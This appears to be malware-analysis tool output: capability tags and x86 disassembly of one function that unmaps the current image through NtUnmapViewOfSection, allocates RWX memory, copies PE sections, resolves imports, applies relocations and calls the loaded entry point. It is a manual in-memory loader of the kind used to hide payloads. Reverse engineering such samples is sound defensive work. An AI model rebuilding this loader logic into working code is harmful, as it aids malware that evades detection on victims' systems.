Function at 0x4125f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x10], ebx
push esi
push edi
test ebx, ebx
je 0x4126b0
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x4126b0
mov eax, dword [ebx + 0x3c]
cmp eax, 0x400
jg 0x4126b0
mov ecx, dword [eax + ebx]
lea edx, [eax + ebx]
mov dword [ebp - 4], edx
cmp ecx, 0x4550
jne 0x4126b0
cmp eax, 0x400
jg 0x41264f
cmp ecx, ecx
jne 0x41264f
lea esi, [ebx + 0xa0]
add esi, eax
xor eax, eax
cmp dword [esi], eax
cmove esi, eax
jmp 0x412651
xor esi, esi
mov edi, dword [edx + 0x34]
push str.ntdll.dll
mov dword [ebp - 0x14], edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 4]
push dword [ecx + 0x34]
push 0xffffffffffffffff
push str.NtUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov eax, dword [ebp - 4]
push 0x40
push 0x3000
push dword [eax + 0x50]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x4126b9
test esi, esi
je 0x4126b0
mov esi, dword [ebp - 4]
push 0x40
push 0x3000
push dword [esi + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x4126bc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
mov edx, dword [esi + 0x54]
mov ecx, edi
mov dword [esi + 0x34], edi
test edx, edx
je 0x4126de
sub ebx, edi
nop word [eax + eax]
mov al, byte [ebx + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x4126d0
xor eax, eax
mov dword [ebp - 8], 0
cmp ax, word [esi + 6]
jae 0x412729
lea ebx, [esi + 0x104]
mov ecx, dword [ebx]
mov edx, dword [ebx + 8]
add ecx, edi
add edx, dword [ebp - 0x10]
mov esi, dword [ebx + 4]
test esi, esi
je 0x412714
mov al, byte [edx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea edx, [edx + 1]
sub esi, 1
jne 0x412704
mov eax, dword [ebp - 4]
add ebx, 0x28
mov ecx, dword [ebp - 8]
inc ecx
mov dword [ebp - 8], ecx
movzx eax, word [eax + 6]
cmp ecx, eax
jl 0x4126f3
mov ecx, 0x5a4d
test edi, edi
je 0x41281a
cmp word [edi], cx
jne 0x41281a
mov eax, dword [edi + 0x3c]
cmp eax, 0x400
jg 0x41281a
cmp dword [eax + edi], 0x4550
jne 0x41281a
mov ecx, dword [eax + edi + 0x80]
test ecx, ecx
je 0x412815
mov eax, dword [eax + edi + 0x84]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0
test eax, eax
je 0x412815
add ecx, 0x10
add ecx, edi
mov dword [ebp - 0x10], ecx
nop word [eax + eax]
mov eax, dword [ecx - 0x10]
test eax, eax
jne 0x41279b
cmp dword [ecx], eax
je 0x412815
mov ebx, dword [ecx - 4]
mov ecx, dword [ecx]
add ebx, edi
test eax, eax
lea esi, [ecx + edi]
cmovne ecx, eax
sub ecx, esi
add ecx, edi
mov dword [ebp - 8], ecx
mov eax, dword [ecx + esi]
test eax, eax
jns 0x4127cf
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 8]
mov dword [esi], eax
mov eax, dword [esi]
test eax, eax
je 0x4127fa
mov ecx, dword [ecx + esi]
cmp eax, ecx
jne 0x4127f2
lea eax, [ecx + 2]
add eax, edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
mov ecx, dword [ebp - 8]
add esi, 4
jmp 0x4127b1
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
add edx, 0x14
add ecx, 0x14
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
cmp edx, dword [ebp - 0x18]
jb 0x412790
mov ecx, 0x5a4d
cmp edi, dword [ebp - 0x14]
je 0x4128f3
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xc], eax
test edi, edi
je 0x4128f3
cmp word [edi], cx
jne 0x4128f3
mov eax, dword [edi + 0x3c]
cmp eax, 0x400
jg 0x4128f3
cmp dword [eax + edi], 0x4550
jne 0x4128f3
mov ecx, dword [eax + edi + 0xa0]
test ecx, ecx
je 0x4128f3
mov edx, dword [eax + edi + 0xa4]
xor eax, eax
mov dword [ebp - 8], edx
mov dword [ebp - 0x10], eax
test edx, edx
je 0x4128f3
lea edx, [ecx + edi]
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x20], edx
lea ebx, [edx + eax]
mov eax, dword [ebx]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x4128f3
mov eax, dword [ebx + 4]
test eax, eax
je 0x4128f3
add eax, 0xfffffff8
lea esi, [ebx + 8]
shr eax, 1
mov edx, 0
mov dword [ebp - 0x1c], eax
je 0x4128e3
nop dword [eax + eax]
movzx ecx, word [esi]
mov eax, ecx
and ecx, 0xfff
add ecx, dword [ebp - 0x18]
shr eax, 0xc
test eax, eax
je 0x4128e0
cmp eax, 3
jne 0x4128f3
cmp ecx, dword [ebp - 0xc]
jae 0x4128f3
mov eax, edi
inc edx
sub eax, dword [ebp - 0x14]
add esi, 2
add dword [ecx + edi], eax
cmp edx, dword [ebp - 0x1c]
jb 0x4128b0
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 4]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
cmp eax, ecx
jb 0x412883
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
add eax, edi
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret